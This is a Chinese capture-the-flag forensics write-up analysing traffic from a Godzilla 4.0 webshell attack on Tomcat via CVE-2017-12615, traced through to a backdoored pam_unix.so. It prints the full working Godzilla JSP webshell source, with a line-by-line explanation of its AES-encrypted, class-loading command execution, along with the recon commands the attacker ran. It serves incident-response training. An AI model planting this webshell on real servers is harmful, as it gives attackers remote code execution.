玄机 第六章 哥斯拉4.0流量分析
简介
请你登录服务器结合数据包附件来分析黑客的入侵行为
用户名:root
密码:xj@gsl4.0
SSH连接:ssh root@ip -p 222
1.黑客的IP是什么
flag{192.168.31.190}
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
筛选http请求,点击Info可以根据字母顺序进行排序并且把相同类型的数据包排放在一起,然后可以清楚地注意到有两个put请求
先了解一下put请求是什么
HTTP
PUT
请求方法创建一个新的资源或用请求的有效载荷替换目标资源的表示。
PUT
与POST
方法的区别是,PUT
方法是幂等的:调用一次与连续调用多次效果是相同的(即没有副作用),而连续调用多次相同的POST
方法可能会有副作用,比如多次提交同一订单。
接下来右键查看put请求的http流
从第一个put请求的流可以看到明显上传了webshell
这里问的是cve漏洞
所以直接上浏览器关键字搜索
可以得到cve漏洞编号
flag{CVE-2017-12615}
这里需要分析一下put上传的webshell,有利于后续做题
<%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
String xc=“1710acba6220f62b”; String pass=“7f0e6f”; String md5=md5(pass+xc);
这里的xc是AES加密的密钥,pass是接下来发包传参的参数,md5的值用于最后验证
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
自定义类加载器,允许动态加载外部字节码,绕过Java的类加载机制,加载恶意代码。
public byte[] x(byte[] s, boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(),“AES”));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}
该方法用于AES加密和解密,以xc的值作为密钥
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance(“MD5”);
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
该方法用于md5加密
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object Encoder = base64.getMethod(“getEncoder”, null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod(“encodeToString”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Encoder”);
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod(“encode”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName(“java.util.Base64”);
Object decoder = base64.getMethod(“getDecoder”, null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod(“decode”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName(“sun.misc.BASE64Decoder”);
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod(“decodeBuffer”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
这两个方法用于base64加密和base64解密
<%try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data, false);
if (session.getAttribute(“payload”)==null){
session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute(“parameters”,data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute(“payload”)).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}catch (Exception e){}
这个是主体部分,先对pass传参进来的值进行base64解码再进行AES解码,如果 session
中没有 payload
,则将解密后的字节码加载为一个类并存储到 session
中。如果 session
中已有 payload
,则实例化该类,并通过调用 equals
方法(实际上可能是被重写的恶意方法)执行恶意代码。
3、黑客上传的木马文件名是什么?(提交文件名)
从这一堆数据包可以看出post请求的hello.jsp就是木马文件
flag{hello.jsp}
4、黑客上传的木马连接密码是什么?
从第2题对webshell的分析可以知道,木马连接密码为pass的值
flag{7f0e6f}
5、黑客上传的木马解密密钥是什么?
从第2题对webshell的分析可以知道,木马解密密钥为xc的值
flag{1710acba6220f62b}
6、黑客连接webshell后执行的第一条命令是什么?
这里问的是第一条命令,所以这里需要我们根据时间来排序
筛选http,点击time栏目,接下来查找上传的webshell最早执行的第一条命令,往下翻,发现前面大量响应包的状态码都不是200,都没成功响应
接着往下翻,发现了200返回状态码,一个一个看,把hello.jsp的post请求的7f0e6f参数的值放到蓝队分析研判工具箱中进行哥斯拉解码,
发现了最早的命令
分析这段代码,可以得到执行的第一条命令是
flag{uname -r}
uname -r :作用是显示正在使用的内核版本
7、黑客连接webshell时査询当前shell的权限是什么?
这里问的是当前shell的权限,逐个对数据包的参数值解密,可以发现有一条数据包执行了id的命令,
根据已有储备知识可以知道id的作用就是查询当前用户的信息
查看响应的内容
所以当前权限为root权限
flag{root}
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
从上面第6题可以知道uname -r显示的是内核版本
这里问的是发现版本,所以还需要往下看
逐个解密,可以发现一条含有release的命令的数据包,可以猜到是发行版本
查了一下,cat /etc/os-release确实是查询linux系统发行版本,
所以系统发行版本为
flag{Debian GNU/Linux 10 (buster)}
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
看到过滤就想到了grep,刚刚逐个解密的过程中有印象,所以很快就找到了
题目强调了要执行成功的命令,所以这里还需要看一下返回包的内容
显示not found,显然不是这个,接着往下翻
发现了这个命令,
dpkg -l libpam-modules:amd64
问了一下ai,这条命令的作用就是查询系统中是否安装了 libpam-modules:amd64
软件包,并帮助管理员快速确认 PAM 核心模块的安装状态和版本
从这里可以知道执行成功的命令是
flag{dpkg -l libpam-modules:amd64}
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
逐个查找呗
base64解密后得到
flag{192.168.31.143:1313}
11、黑客通过什么文件留下了后门?
按照时间顺序排序往下翻,发现了一个很大的文件,
发现了这个文件,查看返回包的内容
这里显示ok,说明文件上传成功,
所以flag
flag{pam_unix.so}